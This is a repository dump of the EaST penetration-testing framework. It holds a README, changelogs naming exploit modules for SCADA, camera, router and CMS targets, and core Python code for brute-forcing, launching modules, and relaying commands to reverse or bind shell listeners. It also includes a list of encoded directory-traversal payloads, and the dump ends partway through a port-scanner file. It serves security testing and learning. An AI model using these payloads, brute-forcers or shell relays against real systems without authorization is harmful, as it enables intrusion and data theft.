Repository: C0reL0ader/EaST Branch: master Commit: 4b1ab5333022 Files: 80 Total size: 694.9 KB Directory structure: gitextract_2b2nupye/ ├── .gitignore ├── 3rdParty/ │ ├── ef_armo_pack_demo/ │ │ ├── LICENSE.txt │ │ └── changelog.txt │ ├── ef_scada_pack_demo/ │ │ ├── LICENSE.txt │ │ └── changelog.txt │ └── readme.txt ├── Documentation/ │ └── TD.docx ├── README.md ├── core/ │ ├── BruteForcer.py │ ├── Commands.py │ ├── DirectoryTraversal.py │ ├── Modules.py │ ├── OptionsParser.py │ ├── PortScannerMT.py │ ├── ReportGenerator.py │ ├── ServiceMessagesHandler.py │ ├── Sploit.py │ ├── WebHelper.py │ ├── WebSocketServer.py │ ├── __init__.py │ ├── helpers/ │ │ ├── __init__.py │ │ ├── archieve/ │ │ │ ├── __init__.py │ │ │ ├── jar.py │ │ │ └── zip.py │ │ └── java/ │ │ ├── Serialization.py │ │ └── __init__.py │ └── passwords.txt ├── data/ │ ├── CVE-2015-8103/ │ │ ├── serialized_class_loader │ │ ├── serialized_file_writer │ │ ├── serialized_jenkins_header │ │ ├── serialized_payload_footer │ │ └── serialized_payload_header │ └── report_templates/ │ ├── common.html │ └── row_template.html ├── docs/ │ ├── files/ │ │ ├── template.py │ │ └── vulnserver_bof/ │ │ └── vulnserver_buffer_overflow.py │ └── index.html ├── help/ │ └── README.txt ├── listener/ │ ├── __init__.py │ ├── bind_connector.py │ └── listener.py ├── shellcodes/ │ ├── Asm.py │ ├── DotNetShellcode.py │ ├── Encoders.py │ ├── JavaShellcode.py │ ├── PhpShellcode.py │ ├── PythonShellcode.py │ ├── README │ ├── Runshellcode.py │ ├── ShellUtils.py │ ├── ShellcodeGenerator.py │ ├── Shellcodes.py │ ├── __init__.py │ ├── data/ │ │ ├── java/ │ │ │ └── src/ │ │ │ └── ReverseTCP/ │ │ │ └── Payload.java │ │ ├── linux/ │ │ │ ├── src/ │ │ │ │ ├── bind_tcp.asm │ │ │ │ └── reverse_tcp.asm │ │ │ └── x64/ │ │ │ └── src/ │ │ │ ├── bind_tcp.asm │ │ │ └── reverse_tcp.asm │ │ └── windows/ │ │ ├── src/ │ │ │ ├── bind_tcp.asm │ │ │ └── reverse_tcp.asm │ │ └── x64/ │ │ └── src/ │ │ ├── bind_tcp.asm │ │ └── reverse_tcp.asm │ ├── shellcode.py │ └── shellcode_payload.py ├── start.py └── ui/ ├── __init__.py ├── css/ │ ├── codemirror.css │ └── main.css ├── httpd.py ├── index.html ├── index.jade ├── js/ │ ├── codemirror.js │ ├── components.js │ ├── guiCommands.js │ ├── main.js │ ├── rsvp.js │ ├── serverCommands.js │ └── ws.js └── mode/ └── python/ ├── index.html └── python.js ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ *.pyc Reports/ Logs/ /.idea /tmp/Webserver20160906100204 /OUTPUTS /tmp exploits ================================================ FILE: 3rdParty/ef_armo_pack_demo/LICENSE.txt ================================================ https://www.gnu.org/licenses/gpl-3.0.txt ================================================ FILE: 3rdParty/ef_armo_pack_demo/changelog.txt ================================================ 1.0 September 18, 2022 efa_acunetix_sbo.py efa_adobe_coldfusion_2018_rce.py efa_apache_struts_rce.py efa_apache_tomcat_fu_rce.py efa_ATGCLabs_ActiveLN_HQLi.py efa_ATGCLabs_Freezer_Web_Acceess_HQLi.py efa_baidu_netdisk_dos.py efa_cisco_catalyst_2960_pe.py efa_cisco_license_manager_server_directory_traversal.py efa_CleverMic_1011S_12_ip_camera_info_disclosure.py efa_clinic_office5_db_management.py efa_delta_mcis_upsentry2012_privilege_escalation.py efa_dlink_dir8xx_pd.py efa_drupal_coder_rce.py efa_ebrigade_erp_4_5_esql.py efa_ezviz_cs_cv210_ipcamera_management_or_dos.py efa_ezviz_cs_cv210_ipcamera_snapshot.py efa_honeywell_hed1pr3_ipcamera_info_disclosure.py efa_iball_adsl2_router_rr.py efa_IceHRM_info_disclosure.py efa_inoerp_privilege_escalation.py efa_kaspersky_anti_virus_file_server_fd.py efa_kkmserver_2_1_26_16_dirtav.py efa_kkmserver_2_1_26_16_dos.py efa_levelone_wcs_2030_directory_traversal.py efa_navigate_cms_8.2_ab_rce.py efa_nelsonit_erp_6_3_1_esql.py efa_netwave_ip_camera_information_disclosure.py efa_openclinic_sqli.py efa_oracle_java_se_xxe.py efa_orient_ip33_sh14cp_snapshot.py efa_Socomec_RemoteView_PRO_afu_rce.py efa_sonicDICOM_privilege_escalation.py efa_symantec_messaging_gateway_dt.py efa_tp_link_tl_wa850re_rr.py efa_trendmicro_control_manager_sqli_rce.py efa_trendnet_tk_ip101_privilege_escalation.py efa_trend_micro_control_manager_fu_rce.py efa_trend_micro_threat_discovery_appliance_rce.py efa_typesetter_cms_dir_listing.py efa_uc_httpd_directory_traversal.py efa_upsmon_pro_fd.py efa_vstarcom_ip_camera_info_disclosure.py efa_weberp_sqli.py efa_wordpress_events_sqli.py efa_xnat_info_disclosure.py efa_zabbix_sqli.py efs_domoticz_4_9700_bof.py efs_domoticz_4_9700_sqli.py ef_plc_wireless_router_GPN2_4P21-C-CN_afd.py ================================================ FILE: 3rdParty/ef_scada_pack_demo/LICENSE.txt ================================================ https://www.gnu.org/licenses/gpl-3.0.txt ================================================ FILE: 3rdParty/ef_scada_pack_demo/changelog.txt ================================================ 1.0 September 18, 2022 efa_delta_mcis_upsentry2012_info_disclosure.py efa_open_source_erp_arbitrary_sql_execution.py efa_open_source_erp_dir_trav.py efs_advantech_webaccess_8_3_2_dashboardconfig_afd.py efs_advantech_webaccess_8_3_2_dashboard_bsqli.py efs_advantech_webaccess_8_3_directory_traversal.py efs_advantech_webaccess_8_3_file_delete.py efs_advantech_webaccess_dashboardeditor_afd.py efs_atvise_3_2_afd.py efs_atvise_3_2_info_disclosure.py efs_autobase_netserver_dos.py efs_Becknoff_CX9020_Reboot.py efs_cogent_datahub_7_3_x_dos.py efs_delta_DIAEnergie_info_disclosure.py efs_DELTA_IA_Robot_DRAstudio_afd.py efs_DoMore_Designer_afd.py efs_eisbaer_scada_directory_traversal2.py efs_eisbaer_scada_dt.py efs_Elipse_E3_e3server_remote_stop.py efs_esa_automation_crew_webserver_dir_trav.py efs_GP_PRO_EX_WinGP_Runtime_afd.py efs_indigo_scada_information_disclosure.py efs_inductive_automation_7_6_4_designer_xxe.py efs_inductive_automation_ignition_7_5_4_bSQLi.py efs_inductive_automation_ignition_7_5_4_xxe.py efs_infrasightlabs_vscopeserver_privilege_escalation.py efs_IPESOFT_D2000_SCADA_DirTrav.py efs_kingscada_aeserver_dos.py efs_laquis_scada_directory_traversal.py efs_logi_cals_logi_RTS_dir_trav.py efs_logi_cals_logi_RTS_RTShttpd_DoS.py efs_loytec_lweb900_server_dir_trav.py efs_lsis_wXP_DoS.py efs_lsis_XP_Manager_DoS.py efs_moxa_mxview_dos.py efs_OpenAPC_BeamServer_DoS.py efs_OSHMI_remote_shutdown.py efs_PASvisu_dos.py efs_PeakHMI_Webserver_DirTrav.py efs_promotic_scada_dos.py efs_quickhmi_directory_traversal.py efs_rcware_dos.py efs_reliance_scada_directory_traversal.py efs_s3scada_remote_stop.py efs_SpiderControl_SCADA_Editor_DirTrav.py efs_trihedral_vtscada_dos.py efs_u_motion_builder_hardcoded_credentials.py efs_vbase_vokserver_info_disclosure.py efs_winplc7_webserver_arbitrary_file_disclosure.py efs_wintr_scada_hardcoded_credentials_directory_traversal.py ================================================ FILE: 3rdParty/readme.txt ================================================ Add packs here. The license for 3rd party's should be the same as for East. You should put exploits to directory "your_pack_name/exploits/" ================================================ FILE: README.md ================================================ ![EaST Framework](https://github.com/C0reL0ader/EaST/blob/master/logo.png "EaST Framework") # «EAST» – «Exploits And Security Tools» penetration testing framework. ## 1. Overview Pentest framework environment is the basis of IT security specialist’s toolkit. This software is essential as for learning and improving of knowledge in IT systems attacks and for inspections and proactive protection. The need of native comprehensive open source pen test framework with high level of trust existed for a long time. That is why EAST framework was created for native and native friendly IT security markets. EAST is a framework that has all necessary resources for wide range exploits to run, starting from Web to buffer overruns. EAST differs from similar toolkits by its ease of use. Even a beginner can handle it and start to advance in IT security. Main features: * Framework security. Software used for IT security must have a high level of user trust. Easy to check open source Python code realized in EAST. It is used for all parts of the framework and modules. Relative little amount of code eases its verification by any user. No OS changes applied during software installation. * Framework maximum simplicity. Archive downloads, main python script start.py launches, which allows exploits start-stop and message traffic. All handled local or remotely via browser. * Exploits simplicity of creation and editing. Possibility to edit and add modules and exploits on the fly without restart. Module code body is easy and minimal in terms of amount. * Cross-platform + minimal requirements and dependencies. Tests for Windows and Linux. Should function everywhere where Python is installed. Framework contains all dependencies and does not download additional libraries. * Full capacity of vanilla pen test framework. In spite of simplicity and “unoverload” the framework has all necessary resources for wide range exploits to run, starting from Web to buffer overruns. * Wide enhancement possibilities. Third party developers can create their own open source solutions or participate in EAST development by use of Server-client architecture, message traffic API and support libraries. ## 2. Requirements * [Python 2](https://www.python.org/downloads/) ## 3. Usage git clone https://github.com/C0reL0ader/EaST && cd EaST python start.py [-p PORT] [--all-interfaces] ## 4. Additional resources * Exploits and Security Tools Framework [website](http://eastfw.com/). * [EaST Exploits DB](http://eastexploits.com/) * [EaST exploits developer guide](https://github.com/C0reL0ader/EaST/wiki) * [Twitter](https://twitter.com/EAST_framework) ================================================ FILE: core/BruteForcer.py ================================================ #!/usr/bin/python import sys import os.path from threading import RLock, Thread RESOURCE_DIR = "./" class BruteForcer: """ Class includes a generic threaded brute forcer logic """ def __init__(self): self.maxthreads = 5 self.wordlist = os.path.join(RESOURCE_DIR, "passwords.txt") self.wordlist_lock = RLock() self.successful_guess = None # the word that won return @staticmethod def log(host=None, message=""): """ Logger """ if not host: host = "127.0.0.1" # FIXME message = "(%s) %s" % (host, message) sys.stdout.write("[*] " + str(message) + "\n") def get_next_word(self): """ Get the next word in wordlist, we lock since readline may not be atomic. This code could go into some sort of auxiliary object that is more abstract later. It returns False when it is out of words. """ #if a thread found one, it will set successful_guess if self.successful_guess: #so we pretend we are done. return False self.wordlist_lock.acquire() try: next_word = self.wordlistfd.readline().strip() except EOFError: self.wordlist_lock.release() return False self.wordlist_lock.release() return next_word def brute_loop(self): """ Override this with your connect/check loop. Don't forget to check for self.HALT! """ self.log("Stub brute_loop called") return def run(self): if self.wordlist: self.wordlistfd = file(self.wordlist, "r") mythreads = [] if self.maxthreads <= 0: self.log("Invalid maxthreads value recieved: %d" % self.maxthreads) return 0 self.log("Starting %d threads to brute force with" % self.maxthreads) for i in xrange(0, self.maxthreads): """ Start up a new thread for each run. These will call get_next_word as applicable. """ t = Thread(target=self.brute_loop()) t.setDaemon(True) t.start() mythreads += [t] for a_thread in mythreads: a_thread.join() self.log("Thread finished") if self.successful_guess: self.log("Found successful word: %s" % self.successful_guess) return 1 self.log("Exhausted brute force attempts - did not find successful word") return 0 ================================================ FILE: core/Commands.py ================================================ # coding=utf-8 import os import subprocess import sys import json import logging import inspect import Modules import PortScannerMT from Modules import ModulesHandler from OptionsParser import OptionsParser from ReportGenerator import ReportGenerator from ServiceMessagesHandler import ServiceMessagesHandler from uuid import uuid4 FW_ROOT_PATH = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..')) EXPLOITS_PATH = os.path.join(FW_ROOT_PATH, 'exploits') LISTENER_PATH = os.path.join(FW_ROOT_PATH, 'listener', 'listener.py') PACKS_PATH = os.path.join(FW_ROOT_PATH, '3rdParty') class APIClient: def __init__(self, wsclient): self.wsclient = wsclient def check_coding(self, kwargs): for key, value in kwargs.items(): if type(value) is unicode: value = value.encode('utf-8') if type(value) is str: try: value.decode('utf-8') except UnicodeDecodeError: value = value.decode('utf-8', 'replace') kwargs[key] = value def hello(self, module_name, type): args = json.dumps(dict(hello=dict(name=module_name, type=type), uuid=str(uuid4()))) self.wsclient.send(args) self.wsclient.recv() def send_command(self, command, **kwargs): cmd = dict(command=command, args=kwargs, uuid=str(uuid4())) try: req = json.dumps(cmd) except UnicodeDecodeError: self.check_coding(kwargs) req = json.dumps(cmd) self.wsclient.send(req) res = self.wsclient.recv() res = json.loads(res) return res['args'] class API: def callable(foo): def api_wrapped(self, *args, **kwargs): return foo(self, *args, **kwargs) setattr(api_wrapped, '__wrapped__', foo) return api_wrapped callable = staticmethod(callable) def __init__(self): pass class Commands(API): def __init__(self, server): API.__init__(self) self.commands = self.get_api_functions() self.server = server self.available_modules = self.get_all_modules_paths() self.modules_handler = ModulesHandler(self) self.logger = logging.getLogger() self.options_parser = OptionsParser() self.port_scanner = PortScannerMT.Scanner(4000, 5000) self.report_generator = ReportGenerator() self.service_messages_handler = ServiceMessagesHandler() def get_api_functions(self): """ Find all api_wrapped methods in class Commands Returns (dict): method name => method """ api_methods = {k: v for k, v in vars(self.__class__).items() if inspect.isfunction(v) and v.__name__ == 'api_wrapped'} return api_methods def get_all_modules_paths(self): """Get common modules and modules from packs if available""" exploits = Modules.get_modules_names_dict(EXPLOITS_PATH) if not os.path.exists(PACKS_PATH): os.makedirs(PACKS_PATH) files = os.listdir(PACKS_PATH) for f in files: path_to_pack = os.path.join(PACKS_PATH, f) if os.path.isdir(path_to_pack): pack_dirs = [fname.lower() for fname in os.listdir(path_to_pack)] if "exploits" in pack_dirs: full_path_to_pack_exploits = os.path.join(path_to_pack, 'exploits') exploits.update(Modules.get_modules_names_dict(full_path_to_pack_exploits)) return exploits def _get_wrapped_function_required_args(self, func): if not hasattr(func, '__wrapped__'): return None args_spec = inspect.getargspec(func.__wrapped__) # Now slice 2 first arguments(self, client) and kw_args required_args = args_spec.args[2: - len(args_spec.defaults or [])] return args_spec.args, required_args def execute(self, message, client): """ Execution of command from websocket-client @param message:(Dict) Object, containing keys "command" and "args" @param client:(WebSocketHandler) Websocket client handler. Used to send response from server to this client """ if not message or type(message) is not dict or "command" not in message or "args" not in message: self.send_error(client, 'Error while handling request') return command = message["command"] args = message["args"] uuid = message.get('uuid') args = args if args else {} if command not in self.commands: self.send_error(client, 'Wrong command') return func = self.commands[command] func_args, func_req_args = self._get_wrapped_function_required_args(func) # find missing or excess args func_args_set = set(func_args) func_req_args_set = set(func_req_args) input_args_set = set(args) intersection = func_req_args_set.intersection(input_args_set) # missing if len(intersection) != len(func_req_args_set): diff = func_req_args_set.difference(input_args_set) msg = 'Following required parameters are missing: %s' % ', '.join(diff) print(command, 'Error: %s' % msg) self.send_error(client, msg) return diff = input_args_set.difference(func_args_set) if diff: msg = 'Following parameters are excess: %s' % ', '.join(diff) print(command, 'Error: %s' % msg) self.send_error(client, msg) return # if no errors call func resp = func(self, client, **args) if uuid: client.send_message(dict(command='on_callback', args=resp, uuid=uuid)) @API.callable def start_module(self, client, module_name, use_listener, use_custom_port=False, custom_port=0, listener_type=1, options={}): """ Runs a module Args: module_name: (string) Name of module use_listener: (bool) If True - enable listener for module use_custom_port: (bool) Use custom listener port custom_port: (int) Custom listener port listener_type: (int) 1 - reverse, 2 - bind options: (dict) Option of module set up in GUI Returns: (dict): 'module_name': (string) Unique name of running module 'listener': (bool) Is listener enabled """ if module_name not in self.available_modules: print('There is no module with name %s' % module_name) return module_path = self.available_modules[module_name] new_module_name = self.modules_handler.make_unique_name(module_name) options = self.options_parser.parse_data(options) running_module = self.modules_handler.register_process(new_module_name, module_name, options) if use_listener and listener_type == 1: exclude_ports = self.modules_handler.get_busy_ports_list() if use_custom_port and custom_port: if custom_port in exclude_ports or self.port_scanner.check_port_state(custom_port): message = 'Lister port %d is busy. Try another port for listener' % custom_port return self.make_error(message) listener_options = dict(PORT=custom_port) else: free_socket_data = self.port_scanner.scan(search_for='closed', first_match=True, nthreads=10, exclude=exclude_ports) listener_options = dict(PORT=free_socket_data[0][1]) running_module.listener_options = listener_options listener_process = subprocess.Popen([sys.executable, LISTENER_PATH, new_module_name], shell=False, env=os.environ.copy()) self.modules_handler.add_listener_pid(new_module_name, listener_process.pid) process = subprocess.Popen([sys.executable, module_path, new_module_name], shell=False, env=os.environ.copy()) self.modules_handler.add_module_pid(new_module_name, process.pid) return dict(module_name=new_module_name, listener=use_listener) @API.callable def install_via_pip(self, client, library_name): """ Install python module via pip Args: library_name: Name of module to install """ import subprocess try: proc = subprocess.Popen(['pip', 'install', library_name]) except Exception as e: print e return self.make_error('Can\'t install module %s' % library_name) else: proc.communicate() if proc.returncode == 0: self.service_messages_handler.remove_import_error(library_name) return dict(module_to_import=library_name) return self.make_error('Can\'t install module %s' % library_name) @API.callable def get_all_server_data(self, client): """ Returns dict of modules, version, service messages """ data = [] self.service_messages_handler.reset() for name in self.available_modules: data.append([self.available_modules[name], name]) available_modules = self.modules_handler.get_modules_info(data) service_messages = self.service_messages_handler.get_grouped() # Get framework version module = self.modules_handler.import_from_uri("start.py", False) version = "?" if module and hasattr(module, "VERSION"): version = module.VERSION return dict(modules=available_modules, version=version, serviceMessages=service_messages) @API.callable def get_modules_log(self, client): """ Get all modules and listeners log """ modules = self.modules_handler.get_full_log() return modules @API.callable def kill_process(self, client, module_name): """ Kills running processes of module and listener if exists Args: module_name: (string) Name of module """ if module_name not in self.modules_handler.running_modules: return self.modules_handler.kill_process(module_name) @API.callable def register_module_message(self, client, message, state, module_name, type='text', inline=False, replace=False): """ Add log message from module Args: message: (string) Message from module state: (bool or None) State of module(success, fail or nothing) module_name: (string) Name og running module type: (string) text or image inline: (bool) Write on last line if True replace: (bool) Replace last line if True """ module = self.modules_handler.add_message(module_name, message, state, inline, replace, type) message = {"command": "on_module_message", "args": { "module_name": module.module_name, "message": module.log[-1].formatted(), "state": state }} # TODO REPORTS # if state is not None: # self.generate_report(pid) self.send_message_to_ui(message) return dict(message="ok") @API.callable def get_module_options(self, client, module_name): """ Send options of module to gui Args: module_name: real module name without '.py' extension Returns: (list) List of options from module's dict OPTIONS """ if module_name in self.available_modules: opts = self.modules_handler.get_available_options_for_module(self.available_modules[module_name]) opts = self.options_parser.prepare_options(opts) json_resp = [] for key in opts: json_resp.append(dict(option=key, value=opts[key])) return json_resp @API.callable def get_module_args(self, client, module_name): """ Get module options changed by GUI Args: module_name: (string) Name of running module Returns: (dict) Dict of options """ resp = self.modules_handler.get_changed_options(module_name) return resp @API.callable def gui_command_to_listener(self, client, module_name, message): """ Sends command from GUI to listener Args: module_name: (string) Name of running module message: (string) Message for listener from gui(os command) """ self.modules_handler.add_listener_message(module_name, ">> " + message) args = dict(module_name=module_name, message=message) self.send_message_to_listener(module_name, args) @API.callable def on_listener_message(self, client, module_name, message, state): """ Add message from listener to gui or get last command from gui to listener Args: module_name: (string) Name of running module message: (string) Message from listener state: (int) 0 - shell is not connected 1 - shell connected 2 - shell disconnected """ self.modules_handler.add_listener_message(module_name, message, state) data = dict(command="on_listener_message", args=dict(module_name=module_name, state=state, message=message)) self.send_message_to_ui(data) @API.callable def get_listener_options(self, client, module_name): """ Get listener options by listener PID or module PID Args: module_name: (string) Name of running module """ if not module_name: return self.make_error('PIDs are not specified') options = self.modules_handler.get_module_inst_by_name(module_name).listener_options return options @API.callable def add_listener_options(self, client, module_name, options): """ Adds/Changes options of listener Args: module_name: (string) Name of running module options: (dict) listener options """ module = self.modules_handler.get_module_inst_by_name(module_name) module.listener_options = options return {"re"} @API.callable def add_listener_pid(self, client, module_name, pid): """ Adds listener PID to running module instance Args: module_name: (string) Name of running module pid: (int) Listener PID """ self.modules_handler.add_listener_pid(module_name, pid) @API.callable def get_source(self, client, module_name): """ Get source code of module Args: module_name: (string) real module name, without '.py' extension """ with open(self.available_modules[module_name]) as f: lines = f.read().splitlines() source = "\n".join(lines) return dict(message=source, module_name=module_name) @API.callable def save_source(self, client, module_name, message): """ Save edited source code of module Args: module_name: (string) real module name, without '.py' extension message: (string) Edited source code of module """ host, port = client.socket.getsockname() if "localhost" not in host and "127.0.0.1" not in host: message = "Only localhost user can save sources" self.send_error(client, message) return code = message.encode('utf-8') with open(self.available_modules[module_name], 'wb') as f: f.write(code) self.send_info(client, 'Module %s successfully changed' % module_name) @API.callable def is_listener_connected(self, client, module_name): """ Get info about state of listener Args: module_name: (string) Name of running module """ state = None module = self.modules_handler.get_module_inst_by_name(module_name) if module: state = module.is_shell_connected if state == 0: state = False elif state == 1: state = True resp = dict(state=state) return resp def make_error(self, error_msg): return dict(error=True, message=error_msg) def send_error(self, client, error_msg): client.send_message(dict(command='on_error', args=dict(message=error_msg))) def send_info(self, client, info_msg): client.send_message(dict(command='on_info', args=dict(message=info_msg))) def generate_report(self, module_name): module_inst = self.modules_handler.get_module_inst_by_name(module_name) info = self.modules_handler.get_module_info((self.available_modules[module_inst.original_name], module_name)) module_vars = { "LOG": module_inst.log, "RESULT": module_inst.state, "OPTIONS": module_inst.options } listener_vars = { "IS_SHELL_CONNECTED": module_inst.is_shell_connected, "LISTENER_OPTIONS": module_inst.listener_options, "LISTENER_LOG": '\n'.join(module_inst.listener_messages) } module_vars.update(info) module_vars.update(listener_vars) module_vars["CVE"] = module_vars["CVE Name"] self.report_generator.append_module(module_vars) def send_message_to_ui(self, message): self.server.send_message_to_all_uis(message) def send_message_to_listener(self, module_name, message): self.server.send_message_to_listener(module_name, message) ================================================ FILE: core/DirectoryTraversal.py ================================================ # simple class for directory traversal vulnerbility class DirTrav: def __init__(self): self.xpath = [] self.xpath.append("../") self.xpath.append("..\\") self.xpath.append("....//") self.xpath.append("..../") self.xpath.append(".../") self.xpath.append("....\\\\") self.xpath.append("...\\\\") self.xpath.append("./") self.xpath.append("%80../") self.xpath.append("%80..\\") self.xpath.append("%%32%65") self.xpath.append("%2%65%2%65%2%66") #----------LowerCase start self.xpath.append("%5c../") self.xpath.append("..%5c/") self.xpath.append("..%5c") self.xpath.append("%2e%2e%2f") self.xpath.append("%2e%2e/") self.xpath.append("%2e%2e\\") self.xpath.append("..%2f") self.xpath.append("%2e%2e%5c") self.xpath.append("%252e%252e%255c") self.xpath.append("%252e%252e%252f") self.xpath.append("..%255c") self.xpath.append("..%c1%1c") self.xpath.append("..%c0%af") self.xpath.append("%%32e%%32e%%32f") self.xpath.append("%u002e%u002e%u002f") #----------LowerCase end #----------UpeerCase start self.xpath.append("%5C../") self.xpath.append("..%5C/") self.xpath.append("..%5C") self.xpath.append("%2E%2E%2F") self.xpath.append("%2E%2E/") self.xpath.append("%2E%2E\\") self.xpath.append("..%2F") self.xpath.append("%2E%2E%5C") self.xpath.append("%252E%252E%255C") self.xpath.append("%252E%252E%252F") self.xpath.append("..%255C") self.xpath.append("..%C1%1C") self.xpath.append("..%C0%AF") self.xpath.append("%%32E%%32E%%32F") self.xpath.append("%U002E%U002E%U002F") #----------UpperCase end def make_path(self, path, file_name, count): a = "" for i in xrange(0, count): a = a + path return a + file_name ================================================ FILE: core/Modules.py ================================================ import datetime import sys import os import imp import logging import traceback from modulefinder import ModuleFinder class ModuleMessageElement: def __init__(self, message, type="text"): self.time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") self.message = message self.type = type def formatted(self): return { "time": self.time, "message": self.message, "type": self.type } class RunningModule: def __init__(self, module_name, options, pid=None, listener_pid=None, listener_options=None): self.module_name = module_name self.original_name = "" self.pid = pid # pid of running module self.options = options self.log = [] # Log messages self.state = None # None - module is run, True - succeeded, False - failed self.listener_options = listener_options if listener_options else {} self.listener_pid = listener_pid self.is_shell_connected = 0 self.listener_messages = [] class ModulesHandler: def __init__(self, commands_handler): self.commands_handler = commands_handler self.server = commands_handler.server self.running_modules = {} # Options of every module self.modules_options = {} self.logger = logging.getLogger(__name__) self.logger.info("Initializing modules handler") def add_module_pid(self, module_name, pid): module = self.running_modules.get(module_name) if module: self.server.add_process(pid) module.pid = pid def add_listener_pid(self, module_name, pid): module = self.running_modules.get(module_name) if module: self.server.add_process(pid) module.listener_pid = pid def add_message(self, module_name, new_message, state=None, inline=False, replace=False, type='text'): if module_name in self.running_modules: if inline: current_message = self.running_modules[module_name].log[-1].message self.running_modules[module_name].log[-1].message = current_message + new_message else: self.running_modules[module_name].log.append(ModuleMessageElement(new_message, type)) if replace: self.running_modules[module_name].log[-1].message = new_message if state is not None: self.running_modules[module_name].state = state return self.running_modules[module_name] def add_listener_message(self, module_name, message, state=None): if module_name in self.running_modules: module = self.running_modules[module_name] module.listener_messages.append(message) if state: module.is_shell_connected = state if state == 2: self.server.remove_process(module.listener_pid) def register_process(self, module_name, original_name, options): """ Register new running module as process @param module_name: Module name @param process: subprocess.Popen() instance """ new_process = RunningModule(module_name, options) new_process.original_name = original_name self.running_modules[module_name] = new_process return new_process def kill_process(self, module_name): """ Kill process and remove it from list of running modules :param pid: PID of running process """ if module_name not in self.running_modules: return module = self.running_modules[module_name] self.server.remove_process(module.pid) self.server.remove_process(module.listener_pid) del self.running_modules[module_name] def get_full_log(self): log = {} for module_name in self.running_modules: message_elements = self.running_modules[module_name].log temp_messages = [] for element in message_elements: temp_messages.append(element.formatted()) log[module_name] = dict( state=self.running_modules[module_name].state, message=temp_messages, listener=self.running_modules[module_name].listener_messages ) return log def get_module_log(self, module_name): if module_name not in self.running_modules: return None module = self.running_modules[module_name] message_elements = module.log temp_messages = [] for element in message_elements: temp_messages.append(element.formatted()) log = dict( state=self.running_modules[module_name].state, message="\n".join(temp_messages), new_messages=self.running_modules[module_name].new_messages ) self.running_modules[module_name].new_messages = False return log def import_from_uri(self, uri, absl=True): """Import module by given path :param uri: (string) Path to module :param absl: (bool) Is path absolute :return: python module instance """ if not absl: uri = os.path.normpath(os.path.join(os.path.dirname(__file__), "../" + uri)) path, fname = os.path.split(uri) mname, ext = os.path.splitext(fname) no_ext = os.path.join(path, mname) if os.path.exists(no_ext + '.py'): try: return imp.load_source(mname, no_ext + '.py') except ImportError as e: finder = ModuleFinder() finder.run_script(no_ext + '.py') bad_imports = map(lambda mod_tup: mod_tup[0], filter(lambda x: x[1].get('__main__'), finder.badmodules.items())) for mn in bad_imports: self.commands_handler.service_messages_handler.add_message(e.message, module_with_unknown_import=mname, module_to_import=mn) print 'Error: module %s requires %s' % (mname, ', '.join(bad_imports)) except: res = [] exc_type, exc_value, exc_traceback = sys.exc_info() formatted_lines = traceback.format_exc().split('\n') res.append(formatted_lines[0]) res.extend(formatted_lines[3:]) msg = '\r\n'.join(res) print(msg) def get_modules_info(self, names): """Gets info about given modules :param names: (List of strings) Paths to modules :return: (Dict)Key=>Path to module, Value=>'INFO' dict of imported module """ res = [] for name in names: info = self.get_module_info(name) if info: res.append(info) res = make_tree(res) return res def get_module_info(self, name): module = self.import_from_uri(name[0]) if hasattr(module, 'INFO'): if type(module.INFO.get('LINKS')) is not list: module.INFO['LINKS'] = [module.INFO.get('LINKS', '')] module.INFO["NAME"] = name[1] return module.INFO return None def get_changed_options(self, module_name): options = self.running_modules[module_name].options options['listener'] = self.running_modules[module_name].listener_options return options def get_available_options_for_module(self, module_name): module = self.import_from_uri(module_name) if hasattr(module, 'OPTIONS'): return module.OPTIONS else: return {} def get_module_inst_by_name(self, module_name): return self.running_modules.get(module_name) def make_unique_name(self, module_name, suffix=1): if module_name not in self.running_modules: return module_name name = "%s(%s)" % (module_name, suffix) if name in self.running_modules: suffix += 1 return self.make_unique_name(module_name, suffix) else: return name def get_busy_ports_list(self): """Gets ports with status 2""" res = [int(module.listener_options.get("PORT")) for module_name, module in self.running_modules.iteritems() if module.is_shell_connected != 2 and module.listener_options.get("PORT")] return res def get_modules_names_dict(path_to_files): """Get list of .py files names in directory""" files = os.listdir(path_to_files) res = {} for filename in files: if filename.endswith(".py"): res[filename[:-3]] = os.path.join(path_to_files, filename) return res def _attach(branch, module, trunk): """ Insert a branch of directories on its trunk. """ parts = branch.split('/', 1) if len(parts) == 1: # branch is a file module["isFile"] = True trunk.append(module) else: node, others = parts node = node.capitalize() node_obj = dict(NAME=node, DESCRIPTION=node, isFile=False) res, index = is_module_in_trunk(trunk, node) if res: _attach(others, module, trunk[index]["children"]) else: node_obj["children"] = [] trunk.append(node_obj) _attach(others, module, node_obj["children"]) def make_tree(modules): main_dict = [] for module in modules: if "PATH" in module: _attach(module["PATH"]+module["NAME"], module, main_dict) else: _attach(module["NAME"], module, main_dict) return main_dict def is_module_in_trunk(trunk, name): index = 0 for index, module in enumerate(trunk): if module["NAME"] == name: return True, index return False, index ================================================ FILE: core/OptionsParser.py ================================================ from collections import OrderedDict class OptionsParser: def __init__(self): pass def parse_data(self, data): res = {} for entry in data: if entry['value']['type'] == 'int': if 'value' in entry['value'] and entry['value']['value']: res[entry['option']] = int(entry['value']['value']) elif entry['value']['type'] == 'list': res[entry['option']] = entry['value']['selected'] elif entry['value']['type'] == 'bool': res[entry['option']] = entry['value']['value'] else: if 'value' in entry['value'] and entry['value']['value']: res[entry['option']] = entry['value']['value'] return res def prepare_options(self, options): res = OrderedDict() for option in options: value = options[option] ext_options = {} # check for extended options if type(value) is tuple: if len(value) > 1 and type(value[1] is dict): ext_options = value[1] value = value[0] if type(value) is int: res[option] = dict(type="int", value=value) elif type(value) is bool: res[option] = dict(type="bool", value=value) elif type(value) is dict: res[option] = value res[option]["type"] = "list" else: res[option] = dict(type="string", value=value) res[option].update(ext_options) return res ================================================ FILE: core/PortScannerMT.py ================================================ from __future__ import print_function import socket import sys import threading import Queue class ScannerThread(threading.Thread): def __init__(self, inq, outq): threading.Thread.__init__(self) # queues for (host, port) self.setDaemon(True) self.inq = inq self.outq = outq self.killed = False def run(self): while not self.killed: host, port = self.inq.get() sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: # connect to the given host:port sd.connect((host, port)) except socket.error: # set the CLOSED flag self.outq.put((host, port, 'CLOSED')) else: self.outq.put((host, port, 'OPEN')) sd.close() class Scanner: def __init__(self, from_port, to_port, host='localhost'): """ Used for scanning ports @param from_port(int): Beginning to scan from this port @param to_port(int): Ending scan with this port @param host(string): Host address """ self.from_port = 